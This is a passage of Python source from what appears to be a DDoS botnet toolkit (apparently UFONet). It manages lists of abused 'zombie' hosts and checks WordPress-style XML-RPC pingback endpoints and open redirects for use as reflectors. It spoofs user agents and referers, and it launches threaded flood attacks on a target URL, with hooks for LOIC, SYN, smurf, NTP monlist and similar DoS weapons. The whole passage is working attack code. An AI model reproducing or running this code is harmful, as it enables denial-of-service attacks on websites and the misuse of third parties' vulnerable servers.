  4675. if os.path.exists(options.test) == True:
  4676. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4677. return #sys.exit(2)
  4678. else:
  4679. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4680. return #sys.exit(2)
  4681. else:
  4682. try:
  4683. f = open(self.zombies_file)
  4684. zombies = f.readlines()
  4685. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4686. f.close()
  4687. if not zombies:
  4688. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4689. return
  4690. else:
  4691. return zombies
  4692. except:
  4693. if os.path.exists(self.zombies_file) == True:
  4694. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4695. return #sys.exit(2)
  4696. else:
  4697. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4698. return #sys.exit(2)
  4699. def extract_target_list(self):
  4700. options = self.options
  4701. try:
  4702. f = open(options.target_list)
  4703. targets = f.readlines()
  4704. targets = [ target.replace('\n','') for target in targets ]
  4705. f.close()
  4706. if not targets:
  4707. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4708. return
  4709. else:
  4710. return targets
  4711. except:
  4712. if os.path.exists(options.target_list) == True:
  4713. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4714. return #sys.exit(2)
  4715. else:
  4716. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4717. return #sys.exit(2)
  4718. def update_zombies(self, zombies_ready):
  4719. # update zombies on file
  4720. options = self.options
  4721. if options.attackme:
  4722. f = open(self.zombies_file, "w") # re-write list
  4723. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4724. for x in zombie:
  4725. f.write(str(x) + os.linesep)
  4726. f.close()
  4727. if options.test or options.testall:
  4728. if not options.test:
  4729. options.test = self.zombies_file
  4730. f = open(options.test, "w") # re-write list only with zombies ready
  4731. for zombie in zombies_ready:
  4732. f.write(zombie + os.linesep)
  4733. f.close()
  4734. if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes: # append only new zombies to list (dorking supported)
  4735. f = open(self.zombies_file)
  4736. zombies_on_file = f.read().splitlines()
  4737. with open(self.zombies_file, "a") as zombie_list:
  4738. for zombie in zombies_ready:
  4739. if zombie not in zombies_on_file: # parse possible repetitions
  4740. zombie_list.write(zombie + os.linesep)
  4741. if options.download or options.download_github or options.download_nodes:
  4742. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4743. else:
  4744. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4745. f.close()
  4746. def update_aliens(self, aliens_ready):
  4747. # update aliens on file
  4748. options = self.options
  4749. if options.download or options.download_github or options.download_nodes: # append only new aliens to list
  4750. f = open(self.aliens_file)
  4751. aliens_on_file = f.read().splitlines()
  4752. with open(self.aliens_file, "a") as alien_list:
  4753. for alien in aliens_ready:
  4754. if alien not in aliens_on_file: # parse possible repetitions
  4755. alien_list.write(alien + os.linesep)
  4756. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4757. f.close()
  4758. def update_droids(self, droids_ready):
  4759. # update droids on file
  4760. options = self.options
  4761. if options.download or options.download_github or options.download_nodes: # append only new droids to list
  4762. f = open(self.droids_file)
  4763. droids_on_file = f.read().splitlines()
  4764. with open(self.droids_file, "a") as droid_list:
  4765. for droid in droids_ready:
  4766. if droid not in droids_on_file: # parse possible repetitions
  4767. droid_list.write(droid + os.linesep)
  4768. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4769. f.close()
  4770. def update_ucavs(self, ucavs_ready):
  4771. # update ucavs on file
  4772. options = self.options
  4773. if options.download or options.download_github or options.download_nodes: # append only new ucavs to list
  4774. f = open(self.ucavs_file)
  4775. ucavs_on_file = f.read().splitlines()
  4776. with open(self.ucavs_file, "a") as ucav_list:
  4777. for ucav in ucavs_ready:
  4778. if ucav not in ucavs_on_file: # parse possible repetitions
  4779. ucav_list.write(ucav + os.linesep)
  4780. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4781. f.close()
  4782. def update_rpcs(self, rpcs_ready):
  4783. # update rpcs on file
  4784. options = self.options
  4785. if options.testrpc or options.testall:
  4786. f = open(self.rpcs_file, "w") # re-write list
  4787. for rpc in rpcs_ready: # add only rpc verified zombies
  4788. f.write(rpc + os.linesep)
  4789. f.close()
  4790. if options.download or options.download_github or options.download_nodes: # append only new rpcs to list
  4791. f = open(self.rpcs_file)
  4792. rpcs_on_file = f.read().splitlines()
  4793. with open(self.rpcs_file, "a") as rpc_list:
  4794. for rpc in rpcs_ready:
  4795. if rpc not in rpcs_on_file: # parse possible repetitions
  4796. rpc_list.write(rpc + os.linesep)
  4797. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4798. f.close()
  4799. def update_dnss(self, dnss_ready):
  4800. # update dns on file
  4801. options = self.options
  4802. if options.download or options.download_github or options.download_nodes: # append only new dns to list
  4803. f = open(self.dnss_file)
  4804. dnss_on_file = f.read().splitlines()
  4805. with open(self.dnss_file, "a") as dns_list:
  4806. for dns in dnss_ready:
  4807. if dns not in dnss_on_file: # parse possible repetitions
  4808. dns_list.write(dns + os.linesep)
  4809. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4810. f.close()
  4811. def update_ntps(self, ntps_ready):
  4812. # update ntps on file
  4813. options = self.options
  4814. if options.download or options.download_github or options.download_nodes: # append only new ntps to list
  4815. f = open(self.ntps_file)
  4816. ntps_on_file = f.read().splitlines()
  4817. with open(self.ntps_file, "a") as ntp_list:
  4818. for ntp in ntps_ready:
  4819. if ntp not in ntps_on_file: # parse possible repetitions
  4820. ntp_list.write(ntp + os.linesep)
  4821. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4822. f.close()
  4823. def update_snmps(self, snmps_ready):
  4824. # update snmps on file
  4825. options = self.options
  4826. if options.download or options.download_github or options.download_nodes: # append only new snmps to list
  4827. f = open(self.snmps_file)
  4828. snmps_on_file = f.read().splitlines()
  4829. with open(self.snmps_file, "a") as snmp_list:
  4830. for snmp in snmps_ready:
  4831. if snmp not in snmps_on_file: # parse possible repetitions
  4832. snmp_list.write(snmp + os.linesep)
  4833. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4834. f.close()
  4835. def search_rpc(self, rpc_host):
  4836. options = self.options
  4837. rpc_vulnerable = False
  4838. rpc_pingback_url = False
  4839. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4840. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4841. try:
  4842. if self.options.testall: # testing_all
  4843. if options.proxy: # set proxy
  4844. self.proxy_transport(options.proxy)
  4845. req = urllib.request.Request(rpc_host, None, headers)
  4846. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4847. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4848. for link in rpc_links:
  4849. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4850. rpc_pingback_url = link[0]
  4851. rpc_vulnerable = True
  4852. break # found it!
  4853. else: # not any XML-RPC discovering methods are working
  4854. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4855. rpc_vulnerable = False
  4856. else:
  4857. if rpc_host.startswith("http://"):
  4858. rpc_host = rpc_host.replace("http://", "")
  4859. if rpc_host.startswith("https://"):
  4860. rpc_host = rpc_host.replace("https://", "")
  4861. rpc_host = urlparse(rpc_host)
  4862. rpc_path = rpc_host.path.replace("\r", "")
  4863. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4864. reply = self.connect_zombie(rpc_path)
  4865. self.head = False
  4866. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4867. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4868. rpc_pingback_url = m.group(1) # extract rpc server url
  4869. rpc_vulnerable = True
  4870. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4871. if options.proxy: # set proxy
  4872. self.proxy_transport(options.proxy)
  4873. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4874. req_rpc.get_method = lambda : 'GET'
  4875. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4876. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4877. for link in rpc_links:
  4878. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4879. rpc_pingback_url = link[0]
  4880. rpc_vulnerable = True
  4881. break # found it!
  4882. else: # not any XML-RPC discovering methods are working
  4883. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4884. rpc_vulnerable = False
  4885. except: # something wrong discovering XML-RPC Pingback
  4886. pass
  4887. return rpc_vulnerable, rpc_pingback_url
  4888. def testing_offline(self):
  4889. # check for zombies offline
  4890. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4891. print('='*35)
  4892. zombies_online = 0
  4893. zombies_offline = 0
  4894. zombies = self.extract_zombies()
  4895. rpcs = self.extract_rpcs()
  4896. aliens = self.extract_aliens()
  4897. droids = self.extract_droids()
  4898. ucavs = self.extract_ucavs()
  4899. try:
  4900. botnet = zombies + rpcs + aliens + droids + ucavs
  4901. except:
  4902. return
  4903. discarded = [] # for discarded zombies
  4904. if not botnet:
  4905. return
  4906. self.head = True
  4907. for zombie in botnet:
  4908. zombie = str(zombie)
  4909. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4910. zombie_type = 'Zombie'
  4911. elif zombie in rpcs:
  4912. zombie_type = 'XML-RPC'
  4913. elif zombie in aliens:
  4914. zombie_type = 'Alien'
  4915. elif zombie in droids:
  4916. zombie_type = 'Droid'
  4917. elif zombie in ucavs:
  4918. zombie_type = 'UCAV'
  4919. t = urlparse(zombie)
  4920. name_zombie = t.netloc
  4921. if name_zombie == "":
  4922. name_zombie = zombie
  4923. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4924. sep = ';$POST;'
  4925. zombie = zombie.split(sep, 1)[0]
  4926. try:
  4927. reply = str(self.connect_zombie(zombie))
  4928. except:
  4929. reply = None
  4930. if reply:
  4931. if reply == "200" or reply == "301" or reply == "302":
  4932. status = "ONLINE! -> [OK!]"
  4933. else:
  4934. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4935. zombies_online = zombies_online + 1
  4936. else:
  4937. status = "NOT Working!"
  4938. zombies_offline = zombies_offline + 1
  4939. print("\nName:", name_zombie)
  4940. print("Type: [", zombie_type, "]")
  4941. print("Vector:", zombie)
  4942. print("HTTP Code: [", reply, "]")
  4943. print("STATUS:", status)
  4944. print('-'*21)
  4945. if status == "NOT Working!": # add to discarded zombies
  4946. if zombie not in discarded:
  4947. discarded.append(zombie)
  4948. print("\n" + '='*52)
  4949. print("\n+ Total Botnet:", len(botnet))
  4950. print("\n" + '-'*25 + "\n")
  4951. print(" - ONLINE:", zombies_online)
  4952. print(" - OFFLINE:", zombies_offline, "\n")
  4953. print('='*52 + '\n')
  4954. self.head = False
  4955. if zombies_offline > 0:
  4956. if not self.options.forceyes:
  4957. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4958. print('-'*25 + "\n")
  4959. else:
  4960. test_reply = "Y"
  4961. if test_reply == "n" or test_reply == "N":
  4962. print("[AI] "+self.exit_msg+"\n")
  4963. return
  4964. else:
  4965. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4966. print('='*52)
  4967. print("\n - DISCARDED:", disc_zombies)
  4968. new_botnet = int(len(botnet) - disc_zombies)
  4969. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4970. print('='*52 + '\n')
  4971. else:
  4972. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4973. def send_extra_zombies(self):
  4974. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4975. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4976. if self.options.verbose:
  4977. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4978. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4979. for a in aliens:
  4980. if a is None:
  4981. self.options.disablealiens = True
  4982. self.total_aliens = 0 # not any alien invoked
  4983. else:
  4984. for s in a: # extract number of aliens
  4985. self.total_aliens = self.total_aliens + 1
  4986. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4987. al.start()
  4988. else:
  4989. self.options.disablealiens = True
  4990. self.total_aliens = 0 # not any alien invoked
  4991. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4992. if self.options.verbose:
  4993. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4994. droids = [self.extract_droids()] # extract droids from file to a list
  4995. for d in droids:
  4996. if d is None:
  4997. self.options.disabledroids = True
  4998. self.total_droids = 0 # not any droid invoked
  4999. else:
  5000. for s in d: # extract number of droids
  5001. self.total_droids = self.total_droids + 1
  5002. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  5003. dr.start()
  5004. else:
  5005. self.options.disabledroids = True
  5006. self.total_droids = 0 # not any droid invoked
  5007. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  5008. if self.options.verbose:
  5009. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  5010. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  5011. for r in rpcs:
  5012. if r is None:
  5013. self.options.disablerpcs = True
  5014. self.total_rpcs = 0 # not any rpc invoked
  5015. else:
  5016. for s in r: # extract number of rpcs
  5017. self.total_rpcs = self.total_rpcs + 1
  5018. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  5019. rp.start()
  5020. else:
  5021. self.options.disablerpcs = True
  5022. self.total_rpcs = 0 # not any rpcs invoked
  5023. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  5024. if self.options.verbose:
  5025. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  5026. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  5027. for u in ucavs:
  5028. if u is None:
  5029. self.options.disableucavs = True
  5030. self.total_ucavs = 0 # not any ucav invoked
  5031. else:
  5032. for s in u: # extract number of ucavs
  5033. self.total_ucavs = self.total_ucavs + 1
  5034. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5035. uc.start()
  5036. else:
  5037. self.options.disableucavs = True
  5038. self.total_ucavs = 0 # not any ucavs invoked
  5039. def abandoning_zombies(self):
  5040. if self.options.expire: # set timing for purge
  5041. try:
  5042. timing = int(self.options.expire)
  5043. except:
  5044. timing = self.expire_timing # default timing for purge
  5045. else:
  5046. timing = self.expire_timing # default timing for purge
  5047. if timing < 1:
  5048. timing = self.expire_timing # default timing for purge
  5049. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5050. zombies_lock = 0
  5051. if self.options.verbose:
  5052. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5053. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5054. zombies_lock = zombies_lock + 1
  5055. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5056. if self.options.verbose:
  5057. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5058. break
  5059. else:
  5060. time.sleep(1)
  5061. def discard_zombies(self, discarded):
  5062. disc_zombies = 0
  5063. if self.options.testoffline:
  5064. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5065. else:
  5066. zombies_list = [self.zombies_file]
  5067. if not self.options.disablealiens: # add aliens
  5068. zombies_list.append(self.aliens_file)
  5069. if not self.options.disabledroids: # add droids
  5070. zombies_list.append(self.droids_file)
  5071. if not self.options.disablerpcs: # add rpcs
  5072. zombies_list.append(self.rpcs_file)
  5073. if not self.options.disableucavs: # add ucavs
  5074. zombies_list.append(self.ucavs_file)
  5075. for l in zombies_list:
  5076. f = open(l, "r+")
  5077. d = f.readlines()
  5078. f.close()
  5079. f = open(l, "w")
  5080. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5081. f.close()
  5082. return disc_zombies
  5083. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5084. m = []
  5085. for zombie in d:
  5086. if zombie not in discarded == True:
  5087. m.append(zombie) # save it
  5088. else:
  5089. disc_zombies = disc_zombies + 1
  5090. if not m:
  5091. f.write("")
  5092. else:
  5093. for z in m:
  5094. f.write(z+os.linesep)
  5095. return disc_zombies
  5096. def parse_url_encoding(self, target):
  5097. if not target.startswith("http"):
  5098. target = "http://" + target
  5099. t = urlparse(target)
  5100. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5101. path = urllib.parse.quote(t.path.encode('utf-8'))
  5102. query = urllib.parse.quote(t.query.encode('utf-8'))
  5103. if query:
  5104. if path.endswith(""):
  5105. path.replace("", "/")
  5106. query = urllib.parse.quote(t.query.encode('utf-8'))
  5107. target = t.scheme+"://"+host + path + "?" + query
  5108. else:
  5109. target = t.scheme+"://"+host + path
  5110. return target
  5111. def testing_rpcs(self, rpcs):
  5112. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5113. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5114. options = self.options
  5115. if self.options.testall: #testing_all
  5116. print('='*51)
  5117. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5118. print('='*51)
  5119. num_active_rpcs = 0
  5120. num_failed_rpcs = 0
  5121. rpcs_ready = []
  5122. print("Trying:", len(rpcs))
  5123. print('-'*21)
  5124. for rpc in rpcs:
  5125. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5126. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5127. if rpc.startswith("http://") or rpc.startswith("https://"):
  5128. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5129. rpc_host = rpc.replace("/xmlrpc.php", "")
  5130. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5131. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5132. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5133. try:
  5134. if options.proxy: # set proxy
  5135. self.proxy_transport(options.proxy)
  5136. try:
  5137. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5138. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5139. except:
  5140. if DEBUG == True:
  5141. traceback.print_exc()
  5142. if self.options.verbose:
  5143. print("[Info] [X-RPCs] Reply:", target_reply)
  5144. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5145. print("[Info] [AI] -> [VULNERABLE!]")
  5146. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5147. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5148. else:
  5149. print("[Info] [AI] -> [NOT vulnerable...]")
  5150. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5151. except:
  5152. print("[Info] [AI] -> [NOT vulnerable...]")
  5153. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5154. else:
  5155. print("[Info] [AI] -> [NOT vulnerable...]")
  5156. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5157. print('-'*21)
  5158. print('='*18)
  5159. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5160. print('='*18)
  5161. if self.options.testall: # testing_all
  5162. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5163. else:
  5164. # update 'rpcs' list
  5165. if num_active_rpcs == 0:
  5166. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5167. return
  5168. else:
  5169. if not self.options.forceyes:
  5170. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5171. print('-'*25)
  5172. else:
  5173. update_reply = "Y"
  5174. if update_reply == "n" or update_reply == "N":
  5175. print("[AI] "+self.exit_msg+"\n")
  5176. return
  5177. else:
  5178. self.update_rpcs(rpcs_ready)
  5179. if not self.options.upload:
  5180. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5181. def testing(self, zombies):
  5182. # test Open Redirect exploiting and show statistics
  5183. # HTTP HEAD check
  5184. army = 0
  5185. print ("Are 'they' alive? :-) (HEAD Check):")
  5186. print('='*35)
  5187. num_active_zombies = 0
  5188. num_failed_zombies = 0
  5189. active_zombies = []
  5190. print("Trying:", len(zombies))
  5191. print('-'*21)
  5192. for zombie in zombies:
  5193. zombie = str(zombie)
  5194. if zombie.startswith("http://") or zombie.startswith("https://"):
  5195. # send HEAD connection
  5196. self.head = True
  5197. try:
  5198. self.connect_zombies(zombie)
  5199. except:
  5200. pass
  5201. while self.herd.no_more_zombies() == False:
  5202. time.sleep(1)
  5203. for zombie in self.herd.done:
  5204. zombie = str(zombie)
  5205. t = urlparse(zombie)
  5206. if self.herd.get_result(zombie):
  5207. code_reply = self.herd.get_result(zombie)
  5208. self.head = False
  5209. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5210. name_zombie = t.netloc
  5211. if name_zombie == "":
  5212. name_zombie = zombie
  5213. print("Zombie:", name_zombie)
  5214. print("Status: OK ["+ code_reply + "]")
  5215. num_active_zombies = num_active_zombies + 1
  5216. active_zombies.append(zombie)
  5217. elif code_reply == "401":
  5218. print("Zombie:", t.netloc)
  5219. print("Status: Unauthorized ["+ code_reply + "]")
  5220. num_failed_zombies = num_failed_zombies + 1
  5221. elif code_reply == "403":
  5222. print("Zombie:", t.netloc)
  5223. print("Status: Error Forbidden ["+ code_reply + "]")
  5224. num_failed_zombies = num_failed_zombies + 1
  5225. elif code_reply == "404":
  5226. print("Zombie:", t.netloc)
  5227. print("Status: Not Found ["+ code_reply + "]")
  5228. num_failed_zombies = num_failed_zombies + 1
  5229. elif code_reply == "500":
  5230. print("Zombie:", t.netloc)
  5231. print("Status: Internal Server Error ["+ code_reply + "]")
  5232. num_failed_zombies = num_failed_zombies + 1
  5233. else:
  5234. print("Zombie:", t.netloc, "\nVector:", zombie)
  5235. print("Status: Not Allowed ["+ code_reply + "]")
  5236. num_failed_zombies = num_failed_zombies + 1
  5237. else:
  5238. if self.options.verbose:
  5239. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5240. print("Zombie:", zombie)
  5241. print("Status: Malformed!")
  5242. num_failed_zombies = num_failed_zombies + 1
  5243. print('-'*10)
  5244. self.herd.reset()
  5245. print('='*18)
  5246. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5247. print('='*18 + "\n")
  5248. print('='*22)
  5249. if num_active_zombies > 0:
  5250. # check url parameter vectors
  5251. print ("Checking for payloads:")
  5252. print('='*22)
  5253. print("Trying:", num_active_zombies)
  5254. print('-'*21)
  5255. zombies_ready = []
  5256. num_waiting_zombies = 0
  5257. if num_active_zombies == 0:
  5258. num_disconnected_zombies = num_failed_zombies
  5259. else:
  5260. num_disconnected_zombies = 0
  5261. for zombie in active_zombies:
  5262. zombie = str(zombie)
  5263. t = urlparse(zombie)
  5264. name_zombie = t.netloc
  5265. if name_zombie == "":
  5266. name_zombie = zombie
  5267. self.payload = True
  5268. try:
  5269. self.connect_zombies(zombie)
  5270. except:
  5271. pass
  5272. self.payload = False
  5273. while self.herd.no_more_zombies() == False:
  5274. time.sleep(1)
  5275. for zombie in self.herd.done:
  5276. zombie = str(zombie)
  5277. t = urlparse(zombie)
  5278. name_zombie = t.netloc
  5279. if name_zombie == "":
  5280. name_zombie = zombie
  5281. payload_zombie = zombie
  5282. payload_reply = ""
  5283. print("Vector:", payload_zombie)
  5284. self.payload = True
  5285. if self.herd.get_result(zombie):
  5286. payload_reply = self.herd.get_result(zombie)
  5287. self.payload = False
  5288. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5289. num_waiting_zombies = num_waiting_zombies + 1
  5290. print("Status:", "Awaiting for orders... ;-)")
  5291. zombies_ready.append(zombie)
  5292. else:
  5293. num_disconnected_zombies = num_disconnected_zombies + 1
  5294. print("Status:", "Not ready...")
  5295. army = army + 1
  5296. print('-'*10)
  5297. self.herd.reset()
  5298. print('='*18)
  5299. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5300. print('='*18 + "\n")
  5301. # list of [Zombies] ready to attack
  5302. num_active_zombie = 0
  5303. for z in zombies_ready:
  5304. t = urlparse(z)
  5305. name_zombie = t.netloc
  5306. if name_zombie == "":
  5307. name_zombie = z
  5308. num_active_zombie = num_active_zombie + 1
  5309. if self.options.verbose:
  5310. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5311. if self.options.testall: # testing_all
  5312. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5313. else:
  5314. print('-'*25 + "\n")
  5315. print('='*24)
  5316. print("Working [Zombies]:", num_active_zombie)
  5317. print('='*24)
  5318. if not self.options.upload:
  5319. if not self.options.forceyes:
  5320. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5321. print('-'*25)
  5322. else:
  5323. update_reply = "Y"
  5324. if update_reply == "n" or update_reply == "N":
  5325. print("[AI] "+self.exit_msg+"\n")
  5326. return
  5327. else:
  5328. self.update_zombies(zombies_ready)
  5329. if not self.options.upload:
  5330. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5331. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5332. else:
  5333. print('-'*25 + "\n")
  5334. print('='*24)
  5335. print("Working [Zombies]:", num_active_zombies)
  5336. print('='*24)
  5337. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5338. def testing_all(self):
  5339. # test whole botnet
  5340. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5341. print('='*35)
  5342. zombies = self.extract_zombies()
  5343. rpcs = self.extract_rpcs()
  5344. aliens = self.extract_aliens()
  5345. droids = self.extract_droids()
  5346. ucavs = self.extract_ucavs()
  5347. try:
  5348. botnet = zombies + rpcs + aliens + droids + ucavs
  5349. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5350. except:
  5351. return
  5352. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5353. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5354. print("\n" + '='*52)
  5355. print("\n+ Total Botnet:", len(botnet))
  5356. print("\n" + '-'*25)
  5357. print("\n+ Total Tested:", len(tested_zombies))
  5358. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5359. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5360. print('='*52 + '\n')
  5361. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5362. if not self.options.forceyes:
  5363. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5364. print('-'*25)
  5365. else:
  5366. update_reply = "Y"
  5367. if update_reply == "n" or update_reply == "N":
  5368. print("[AI] "+self.exit_msg+"\n")
  5369. return
  5370. else:
  5371. if num_disconnected_zombies > 0:
  5372. self.update_zombies(zombies_ready)
  5373. if num_failed_rpcs > 0:
  5374. self.update_rpcs(rpcs_ready)
  5375. if not self.options.upload:
  5376. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5377. else:
  5378. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5379. def attacking(self, zombies, target):
  5380. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5381. if self.options.forcessl:
  5382. if target.startswith("http://"):
  5383. target = target.replace("http://", "https://") # force SSL/TLS
  5384. if target.startswith("http://") or target.startswith("https://"):
  5385. print("Attacking:", target)
  5386. print('='*55, "\n")
  5387. # send Open Redirect injection (multiple zombies > one target url)
  5388. reply = self.injection(target, zombies)
  5389. else:
  5390. print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
  5391. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5392. # perform some other extra attacks (such as DoS techniques)
  5393. time.sleep(2) # aiming (multi-threading flow time compensation)
  5394. if loic:
  5395. try:
  5396. self.options.loic = int(loic)
  5397. except:
  5398. self.options.loic = 100 # default LOIC requests
  5399. if self.options.loic < 1:
  5400. self.options.loic = 100
  5401. self.instance = LOIC() # instance main class for LOIC operations
